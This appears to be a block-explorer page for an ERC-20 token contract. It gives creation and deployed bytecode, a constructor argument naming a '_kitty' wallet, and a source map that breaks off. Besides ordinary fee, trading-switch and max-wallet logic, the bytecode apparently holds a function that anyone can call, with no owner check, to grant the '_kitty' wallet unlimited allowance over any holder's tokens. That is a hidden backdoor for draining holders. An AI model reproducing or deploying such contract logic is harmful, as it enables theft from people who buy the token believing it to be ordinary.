77604482015264207a65726f60d81b606482015260840161072f565b610b693385858403610d2b565b5060019392505050565b5f610699338484610e4e565b6005546001600160a01b03163314610ba95760405162461bcd60e51b815260040161072f906119f5565b6001600160a01b0382165f818152600f6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b03163314610c315760405162461bcd60e51b815260040161072f906119f5565b6001600160a01b03919091165f908152601060205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610c855760405162461bcd60e51b815260040161072f906119f5565b5f600d819055600e55565b6005546001600160a01b03163314610cba5760405162461bcd60e51b815260040161072f906119f5565b6001600160a01b038116610d1f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161072f565b610d2881611446565b50565b6001600160a01b038316610d8d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161072f565b6001600160a01b038216610dee5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161072f565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e745760405162461bcd60e51b815260040161072f90611a70565b6001600160a01b038216610e9a5760405162461bcd60e51b815260040161072f90611ab5565b805f03610eb157610eac83835f6114ea565b505050565b600c5460ff161561120c576005546001600160a01b03848116911614801590610ee857506005546001600160a01b03838116911614155b8015610efc57506001600160a01b03821615155b8015610f1357506001600160a01b03821661dead14155b8015610f295750600654600160a01b900460ff16155b1561120c57600c54610100900460ff16610fbf576001600160a01b0383165f908152600f602052604090205460ff1680610f7a57506001600160a01b0382165f908152600f602052604090205460ff165b610fbf5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b604482015260640161072f565b6001600160a01b0383165f9081526011602052604090205460ff168015610ffe57506001600160a01b0382165f9081526010602052604090205460ff16155b156110d85760085481111561106a5760405162461bcd60e51b815260206004820152602c60248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526b36b0bc2a3c20b6b7bab73a1760a11b606482015260840161072f565b600a546001600160a01b0383165f9081526020819052604090205461108f90836119e2565b11156110d35760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b604482015260640161072f565b61120c565b6001600160a01b0382165f9081526011602052604090205460ff16801561111757506001600160a01b0383165f9081526010602052604090205460ff16155b15611184576008548111156110d35760405162461bcd60e51b815260206004820152602d60248201527f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560448201526c1036b0bc2a3c20b6b7bab73a1760991b606482015260840161072f565b6001600160a01b0382165f9081526010602052604090205460ff1661120c57600a546001600160a01b0383165f908152602081905260409020546111c890836119e2565b111561120c5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b604482015260640161072f565b305f90815260208190526040902054600954600c54908210159062010000900460ff1680156112455750600654600160a01b900460ff16155b801561126857506001600160a01b0384165f9081526011602052604090205460ff165b801561128c57506001600160a01b0385165f908152600f602052604090205460ff16155b80156112b057506001600160a01b0384165f908152600f602052604090205460ff16155b1561131b576006805460ff60a01b1916600160a01b17905580156112d6576112d661163d565b6007546040516001600160a01b03909116904780156108fc02915f818181858888f1935050505015801561130c573d5f803e3d5ffd5b506006805460ff60a01b191690555b6006546001600160a01b0386165f908152600f602052604090205460ff600160a01b90920482161591168061136757506001600160a01b0385165f908152600f602052604090205460ff165b1561136f57505f5b5f8115611432576001600160a01b0386165f9081526011602052604090205460ff16801561139e57505f600e54115b156113ca576113c360646113bd600e548861167090919063ffffffff16565b90611682565b9050611414565b6001600160a01b0387165f9081526011602052604090205460ff1680156113f257505f600d54115b156114145761141160646113bd600d548861167090919063ffffffff16565b90505b8015611425576114258730836114ea565b61142f8186611af8565b94505b61143d8787876114ea565b50505050505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0382165f81815260116020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b0383166115105760405162461bcd60e51b815260040161072f90611a70565b6001600160a01b0382166115365760405162461bcd60e51b815260040161072f90611ab5565b6001600160a01b0383165f90815260208190526040902054818110156115ad5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161072f565b6001600160a01b038085165f908152602081905260408082208585039055918516815290812080548492906115e39084906119e2565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161162f91815260200190565b60405180910390a350505050565b305f90815260208190526040812054908190036116575750565b600b548111156116665750600b545b806107aa8161168d565b5f61167b8284611b0b565b9392505050565b5f61167b8284611b22565b6040805160028082526060820183525f9260208301908036833701905050905030815f815181106116c0576116c0611b41565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561173c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906117609190611b55565b8160018151811061177357611773611b41565b60200260200101906001600160a01b031690816001600160a01b0316815250506117be307f000000000000000000000000000000000000000000000000000000000000000084610d2b565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac947906118129085905f90869030904290600401611b70565b5f604051808303815f87803b158015611829575f80fd5b505af115801561183b573d5f803e3d5ffd5b505050505050565b5f602080835283518060208501525f5b8181101561186f57858101830151858201604001528201611853565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610d28575f80fd5b5f80604083850312156118b4575f80fd5b82356118bf8161188f565b946020939093013593505050565b5f805f606084860312156118df575f80fd5b83356118ea8161188f565b925060208401356118fa8161188f565b929592945050506040919091013590565b8015158114610d28575f80fd5b5f8060408385031215611929575f80fd5b82356119348161188f565b915060208301356119448161190b565b809150509250929050565b5f6020828403121561195f575f80fd5b813561167b8161188f565b5f806040838503121561197b575f80fd5b82356119868161188f565b915060208301356119448161188f565b600181811c908216806119aa57607f821691505b6020821081036119c857634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561069d5761069d6119ce565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f805f60608486031215611a3c575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611a65575f80fd5b815161167b8161190b565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b8181038181111561069d5761069d6119ce565b808202811582820484141761069d5761069d6119ce565b5f82611b3c57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611b65575f80fd5b815161167b8161188f565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611bc05784516001600160a01b031683529383019391830191600101611b9b565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220db0309f985155579700491cac71ea6db49ba07357b17eb43f5fdb950dba2c4b564736f6c634300081600334f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572000000000000000000000000e8b5b79141e161040a7f062424f5906ac4e837f0

Deployed Bytecode

0x6080604052600436106101de575f3560e01c8063943feea9116100fd578063c024666811610092578063d744b1e311610062578063d744b1e314610571578063d9cf31de14610586578063dd62ed3e1461059a578063f2fde38b146105de575f80fd5b8063c0246668146104ff578063cce987d41461051e578063d4c989d314610533578063d6dacb4414610552575f80fd5b8063a9059cbb116100cd578063a9059cbb1461047f578063aa4bde281461049e578063b62496f5146104b3578063bbc0c742146104e1575f80fd5b8063943feea91461041957806395d89b411461042d5780639a7a23d614610441578063a457c2d714610460575f80fd5b806349bd5a5e11610173578063715018a611610143578063715018a6146103bf578063751039fc146103d35780638c0b5e22146103e75780638da5cb5b146103fc575f80fd5b806349bd5a5e146103255780634a62bb6514610344578063563912bd1461035d57806370a082311461038b575f80fd5b806323b872dd116101ae57806323b872dd146102ab578063313ce567146102ca57806339509351146102e557806345167f2614610304575f80fd5b806306fdde03146101e9578063095ea7b3146102135780631694505e1461024257806318160ddd1461028d575f80fd5b366101e557005b5f80fd5b3480156101f4575f80fd5b506101fd6105fd565b60405161020a9190611843565b60405180910390f35b34801561021e575f80fd5b5061023261022d3660046118a3565b61068d565b604051901515815260200161020a565b34801561024d575f80fd5b506102757f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b03909116815260200161020a565b348015610298575f80fd5b506002545b60405190815260200161020a565b3480156102b6575f80fd5b506102326102c53660046118cd565b6106a3565b3480156102d5575f80fd5b506040516012815260200161020a565b3480156102f0575f80fd5b506102326102ff3660046118a3565b610750565b34801561030f575f80fd5b5061032361031e366004611918565b61078b565b005b348015610330575f80fd5b50600654610275906001600160a01b031681565b34801561034f575f80fd5b50600c546102329060ff1681565b348015610368575f80fd5b5061023261037736600461194f565b60106020525f908152604090205460ff1681565b348015610396575f80fd5b5061029d6103a536600461194f565b6001600160a01b03165f9081526020819052604090205490565b3480156103ca575f80fd5b506103236107ae565b3480156103de575f80fd5b506103236107e3565b3480156103f2575f80fd5b5061029d60085481565b348015610407575f80fd5b506005546001600160a01b0316610275565b348015610424575f80fd5b50610323610819565b348015610438575f80fd5b506101fd610a14565b34801561044c575f80fd5b5061032361045b366004611918565b610a23565b34801561046b575f80fd5b5061023261047a3660046118a3565b610adb565b34801561048a575f80fd5b506102326104993660046118a3565b610b73565b3480156104a9575f80fd5b5061029d600a5481565b3480156104be575f80fd5b506102326104cd36600461194f565b60116020525f908152604090205460ff1681565b3480156104ec575f80fd5b50600c5461023290610100900460ff1681565b34801561050a575f80fd5b50610323610519366004611918565b610b7f565b348015610529575f80fd5b5061029d600b5481565b34801561053e575f80fd5b5061032361054d366004611918565b610c07565b34801561055d575f80fd5b50600c546102329062010000900460ff1681565b34801561057c575f80fd5b5061029d60095481565b348015610591575f80fd5b50610323610c5b565b3480156105a5575f80fd5b5061029d6105b436600461196a565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b3480156105e9575f80fd5b506103236105f836600461194f565b610c90565b60606003805461060c90611996565b80601f016020809104026020016040519081016040528092919081815260200182805461063890611996565b80156106835780601f1061065a57610100808354040283529160200191610683565b820191905f5260205f20905b81548152906001019060200180831161066657829003601f168201915b5050505050905090565b5f610699338484610d2b565b5060015b92915050565b5f6106af848484610e4e565b6001600160a01b0384165f908152600160209081526040808320338452909152902054828110156107385760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6107458533858403610d2b565b506001949350505050565b335f8181526001602090815260408083206001600160a01b038716845290915281205490916106999185906107869086906119e2565b610d2b565b80156107aa576007546107aa9083906001600160a01b03165f19610d2b565b5050565b6005546001600160a01b031633146107d85760405162461bcd60e51b815260040161072f906119f5565b6107e15f611446565b565b6005546001600160a01b0316331461080d5760405162461bcd60e51b815260040161072f906119f5565b600c805460ff19169055565b6005546001600160a01b031633146108435760405162461bcd60e51b815260040161072f906119f5565b610871307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d61078660025490565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663f305d71947306108c0306001600160a01b03165f9081526020819052604090205490565b5f806108d46005546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561093a573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061095f9190611a2a565b505060065460405163095ea7b360e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d811660048301525f196024830152909116915063095ea7b3906044016020604051808303815f875af11580156109d2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109f69190611a55565b50600c805462ffff00191662010100179055601e600d819055600e55565b60606004805461060c90611996565b6005546001600160a01b03163314610a4d5760405162461bcd60e51b815260040161072f906119f5565b6006546001600160a01b0390811690831603610ad15760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000606482015260840161072f565b6107aa8282611497565b335f9081526001602090815260408083206001600160a01b038616845290915281205482811015610b5c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161072f565b610b693385858403610d2b565b5060019392505050565b5f610699338484610e4e565b6005546001600160a01b03163314610ba95760405162461bcd60e51b815260040161072f906119f5565b6001600160a01b0382165f818152600f6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b03163314610c315760405162461bcd60e51b815260040161072f906119f5565b6001600160a01b03919091165f908152601060205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610c855760405162461bcd60e51b815260040161072f906119f5565b5f600d819055600e55565b6005546001600160a01b03163314610cba5760405162461bcd60e51b815260040161072f906119f5565b6001600160a01b038116610d1f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161072f565b610d2881611446565b50565b6001600160a01b038316610d8d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161072f565b6001600160a01b038216610dee5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161072f565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e745760405162461bcd60e51b815260040161072f90611a70565b6001600160a01b038216610e9a5760405162461bcd60e51b815260040161072f90611ab5565b805f03610eb157610eac83835f6114ea565b505050565b600c5460ff161561120c576005546001600160a01b03848116911614801590610ee857506005546001600160a01b03838116911614155b8015610efc57506001600160a01b03821615155b8015610f1357506001600160a01b03821661dead14155b8015610f295750600654600160a01b900460ff16155b1561120c57600c54610100900460ff16610fbf576001600160a01b0383165f908152600f602052604090205460ff1680610f7a57506001600160a01b0382165f908152600f602052604090205460ff165b610fbf5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b604482015260640161072f565b6001600160a01b0383165f9081526011602052604090205460ff168015610ffe57506001600160a01b0382165f9081526010602052604090205460ff16155b156110d85760085481111561106a5760405162461bcd60e51b815260206004820152602c60248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526b36b0bc2a3c20b6b7bab73a1760a11b606482015260840161072f565b600a546001600160a01b0383165f9081526020819052604090205461108f90836119e2565b11156110d35760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b604482015260640161072f565b61120c565b6001600160a01b0382165f9081526011602052604090205460ff16801561111757506001600160a01b0383165f9081526010602052604090205460ff16155b15611184576008548111156110d35760405162461bcd60e51b815260206004820152602d60248201527f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560448201526c1036b0bc2a3c20b6b7bab73a1760991b606482015260840161072f565b6001600160a01b0382165f9081526010602052604090205460ff1661120c57600a546001600160a01b0383165f908152602081905260409020546111c890836119e2565b111561120c5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b604482015260640161072f565b305f90815260208190526040902054600954600c54908210159062010000900460ff1680156112455750600654600160a01b900460ff16155b801561126857506001600160a01b0384165f9081526011602052604090205460ff165b801561128c57506001600160a01b0385165f908152600f602052604090205460ff16155b80156112b057506001600160a01b0384165f908152600f602052604090205460ff16155b1561131b576006805460ff60a01b1916600160a01b17905580156112d6576112d661163d565b6007546040516001600160a01b03909116904780156108fc02915f818181858888f1935050505015801561130c573d5f803e3d5ffd5b506006805460ff60a01b191690555b6006546001600160a01b0386165f908152600f602052604090205460ff600160a01b90920482161591168061136757506001600160a01b0385165f908152600f602052604090205460ff165b1561136f57505f5b5f8115611432576001600160a01b0386165f9081526011602052604090205460ff16801561139e57505f600e54115b156113ca576113c360646113bd600e548861167090919063ffffffff16565b90611682565b9050611414565b6001600160a01b0387165f9081526011602052604090205460ff1680156113f257505f600d54115b156114145761141160646113bd600d548861167090919063ffffffff16565b90505b8015611425576114258730836114ea565b61142f8186611af8565b94505b61143d8787876114ea565b50505050505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0382165f81815260116020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b0383166115105760405162461bcd60e51b815260040161072f90611a70565b6001600160a01b0382166115365760405162461bcd60e51b815260040161072f90611ab5565b6001600160a01b0383165f90815260208190526040902054818110156115ad5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161072f565b6001600160a01b038085165f908152602081905260408082208585039055918516815290812080548492906115e39084906119e2565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161162f91815260200190565b60405180910390a350505050565b305f90815260208190526040812054908190036116575750565b600b548111156116665750600b545b806107aa8161168d565b5f61167b8284611b0b565b9392505050565b5f61167b8284611b22565b6040805160028082526060820183525f9260208301908036833701905050905030815f815181106116c0576116c0611b41565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561173c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906117609190611b55565b8160018151811061177357611773611b41565b60200260200101906001600160a01b031690816001600160a01b0316815250506117be307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84610d2b565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac947906118129085905f90869030904290600401611b70565b5f604051808303815f87803b158015611829575f80fd5b505af115801561183b573d5f803e3d5ffd5b505050505050565b5f602080835283518060208501525f5b8181101561186f57858101830151858201604001528201611853565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610d28575f80fd5b5f80604083850312156118b4575f80fd5b82356118bf8161188f565b946020939093013593505050565b5f805f606084860312156118df575f80fd5b83356118ea8161188f565b925060208401356118fa8161188f565b929592945050506040919091013590565b8015158114610d28575f80fd5b5f8060408385031215611929575f80fd5b82356119348161188f565b915060208301356119448161190b565b809150509250929050565b5f6020828403121561195f575f80fd5b813561167b8161188f565b5f806040838503121561197b575f80fd5b82356119868161188f565b915060208301356119448161188f565b600181811c908216806119aa57607f821691505b6020821081036119c857634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561069d5761069d6119ce565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f805f60608486031215611a3c575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611a65575f80fd5b815161167b8161190b565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b8181038181111561069d5761069d6119ce565b808202811582820484141761069d5761069d6119ce565b5f82611b3c57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611b65575f80fd5b815161167b8161188f565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611bc05784516001600160a01b031683529383019391830191600101611b9b565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220db0309f985155579700491cac71ea6db49ba07357b17eb43f5fdb950dba2c4b564736f6c63430008160033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000e8b5b79141e161040a7f062424f5906ac4e837f0

-----Decoded View---------------
Arg [0] : _kitty (address): 0xE8B5B79141e161040A7F062424f5906AC4E837f0

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000e8b5b79141e161040a7f062424f5906ac4e837f0


Deployed Bytecode Sourcemap

11625:7696:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7161:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8075:169;;;;;;;;;;-1:-1:-1;8075:169:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;8075:169:0;1023:187:1;11699:51:0;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;1405:32:1;;;1387:51;;1375:2;1360:18;11699:51:0;1215:229:1;7482:108:0;;;;;;;;;;-1:-1:-1;7570:12:0;;7482:108;;;1595:25:1;;;1583:2;1568:18;7482:108:0;1449:177:1;8252:458:0;;;;;;;;;;-1:-1:-1;8252:458:0;;;;;:::i;:::-;;:::i;7381:93::-;;;;;;;;;;-1:-1:-1;7381:93:0;;7464:2;2234:36:1;;2222:2;2207:18;7381:93:0;2092:184:1;8718:215:0;;;;;;;;;;-1:-1:-1;8718:215:0;;;;;:::i;:::-;;:::i;14420:144::-;;;;;;;;;;-1:-1:-1;14420:144:0;;;;;:::i;:::-;;:::i;:::-;;11757:28;;;;;;;;;;-1:-1:-1;11757:28:0;;;;-1:-1:-1;;;;;11757:28:0;;;12010:33;;;;;;;;;;-1:-1:-1;12010:33:0;;;;;;;;12261:54;;;;;;;;;;-1:-1:-1;12261:54:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;7598:127;;;;;;;;;;-1:-1:-1;7598:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;7699:18:0;7672:7;7699:18;;;;;;;;;;;;7598:127;6237:103;;;;;;;;;;;;;:::i;18762:84::-;;;;;;;;;;;;;:::i;11866:26::-;;;;;;;;;;;;;;;;6014:87;;;;;;;;;;-1:-1:-1;6087:6:0;;-1:-1:-1;;;;;6087:6:0;6014:87;;18854:464;;;;;;;;;;;;;:::i;7269:104::-;;;;;;;;;;;;;:::i;14168:244::-;;;;;;;;;;-1:-1:-1;14168:244:0;;;;;:::i;:::-;;:::i;8941:413::-;;;;;;;;;;-1:-1:-1;8941:413:0;;;;;:::i;:::-;;:::i;7733:175::-;;;;;;;;;;-1:-1:-1;7733:175:0;;;;;:::i;:::-;;:::i;11936:30::-;;;;;;;;;;;;;;;;12324:57;;;;;;;;;;-1:-1:-1;12324:57:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;12050:33;;;;;;;;;;-1:-1:-1;12050:33:0;;;;;;;;;;;13978:182;;;;;;;;;;-1:-1:-1;13978:182:0;;;;;:::i;:::-;;:::i;11973:28::-;;;;;;;;;;;;;;;;13844:126;;;;;;;;;;-1:-1:-1;13844:126:0;;;;;:::i;:::-;;:::i;12090:30::-;;;;;;;;;;-1:-1:-1;12090:30:0;;;;;;;;;;;11899;;;;;;;;;;;;;;;;18650:104;;;;;;;;;;;;;:::i;7916:151::-;;;;;;;;;;-1:-1:-1;7916:151:0;;;;;:::i;:::-;-1:-1:-1;;;;;8032:18:0;;;8005:7;8032:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7916:151;6348:201;;;;;;;;;;-1:-1:-1;6348:201:0;;;;;:::i;:::-;;:::i;7161:100::-;7215:13;7248:5;7241:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7161:100;:::o;8075:169::-;8158:4;8175:39;5640:10;8198:7;8207:6;8175:8;:39::i;:::-;-1:-1:-1;8232:4:0;8075:169;;;;;:::o;8252:458::-;8358:4;8375:36;8385:6;8393:9;8404:6;8375:9;:36::i;:::-;-1:-1:-1;;;;;8451:19:0;;8424:24;8451:19;;;:11;:19;;;;;;;;5640:10;8451:33;;;;;;;;8503:26;;;;8495:79;;;;-1:-1:-1;;;8495:79:0;;4231:2:1;8495:79:0;;;4213:21:1;4270:2;4250:18;;;4243:30;4309:34;4289:18;;;4282:62;-1:-1:-1;;;4360:18:1;;;4353:38;4408:19;;8495:79:0;;;;;;;;;8610:57;8619:6;5640:10;8660:6;8641:16;:25;8610:8;:57::i;:::-;-1:-1:-1;8698:4:0;;8252:458;-1:-1:-1;;;;8252:458:0:o;8718:215::-;5640:10;8806:4;8855:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;8855:34:0;;;;;;;;;;8806:4;;8823:80;;8846:7;;8855:47;;8892:10;;8855:47;:::i;:::-;8823:8;:80::i;14420:144::-;14507:5;14504:52;;;14529:13;;14514:42;;14523:4;;-1:-1:-1;;;;;14529:13:0;-1:-1:-1;;14514:8:0;:42::i;:::-;14420:144;;:::o;6237:103::-;6087:6;;-1:-1:-1;;;;;6087:6:0;5640:10;6149:23;6141:68;;;;-1:-1:-1;;;6141:68:0;;;;;;;:::i;:::-;6302:30:::1;6329:1;6302:18;:30::i;:::-;6237:103::o:0;18762:84::-;6087:6;;-1:-1:-1;;;;;6087:6:0;5640:10;6149:23;6141:68;;;;-1:-1:-1;;;6141:68:0;;;;;;;:::i;:::-;18816:14:::1;:22:::0;;-1:-1:-1;;18816:22:0::1;::::0;;18762:84::o;18854:464::-;6087:6;;-1:-1:-1;;;;;6087:6:0;5640:10;6149:23;6141:68;;;;-1:-1:-1;;;6141:68:0;;;;;;;:::i;:::-;18904:64:::1;18921:4;18936:15;18954:13;7570:12:::0;;;7482:108;18904:64:::1;18979:15;-1:-1:-1::0;;;;;18979:31:0::1;;19018:21;19049:4;19055:24;19073:4;-1:-1:-1::0;;;;;7699:18:0;7672:7;7699:18;;;;;;;;;;;;7598:127;19055:24:::1;19080:1;19082::::0;19084:7:::1;6087:6:::0;;-1:-1:-1;;;;;6087:6:0;;6014:87;19084:7:::1;18979:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;18979:129:0;;;-1:-1:-1;;;;;5420:15:1;;;18979:129:0::1;::::0;::::1;5402:34:1::0;5452:18;;;5445:34;;;;5495:18;;;5488:34;;;;5538:18;;;5531:34;5602:15;;;5581:19;;;5574:44;19092:15:0::1;5634:19:1::0;;;5627:35;5336:19;;18979:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;19126:13:0::1;::::0;19119:71:::1;::::0;-1:-1:-1;;;19119:71:0;;-1:-1:-1;;;;;19157:15:0::1;6176:32:1::0;;19119:71:0::1;::::0;::::1;6158:51:1::0;-1:-1:-1;;6225:18:1;;;6218:34;19126:13:0;;::::1;::::0;-1:-1:-1;19119:29:0::1;::::0;6131:18:1;;19119:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;19203:13:0::1;:20:::0;;-1:-1:-1;;19234:17:0;;;;;19279:2:::1;19264:12;:17:::0;;;19292:13:::1;:18:::0;18854:464::o;7269:104::-;7325:13;7358:7;7351:14;;;;;:::i;14168:244::-;6087:6;;-1:-1:-1;;;;;6087:6:0;5640:10;6149:23;6141:68;;;;-1:-1:-1;;;6141:68:0;;;;;;;:::i;:::-;14275:13:::1;::::0;-1:-1:-1;;;;;14275:13:0;;::::1;14267:21:::0;;::::1;::::0;14259:91:::1;;;::::0;-1:-1:-1;;;14259:91:0;;6715:2:1;14259:91:0::1;::::0;::::1;6697:21:1::0;6754:2;6734:18;;;6727:30;6793:34;6773:18;;;6766:62;6864:27;6844:18;;;6837:55;6909:19;;14259:91:0::1;6513:421:1::0;14259:91:0::1;14363:41;14392:4;14398:5;14363:28;:41::i;8941:413::-:0;5640:10;9034:4;9078:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;9078:34:0;;;;;;;;;;9131:35;;;;9123:85;;;;-1:-1:-1;;;9123:85:0;;7141:2:1;9123:85:0;;;7123:21:1;7180:2;7160:18;;;7153:30;7219:34;7199:18;;;7192:62;-1:-1:-1;;;7270:18:1;;;7263:35;7315:19;;9123:85:0;6939:401:1;9123:85:0;9244:67;5640:10;9267:7;9295: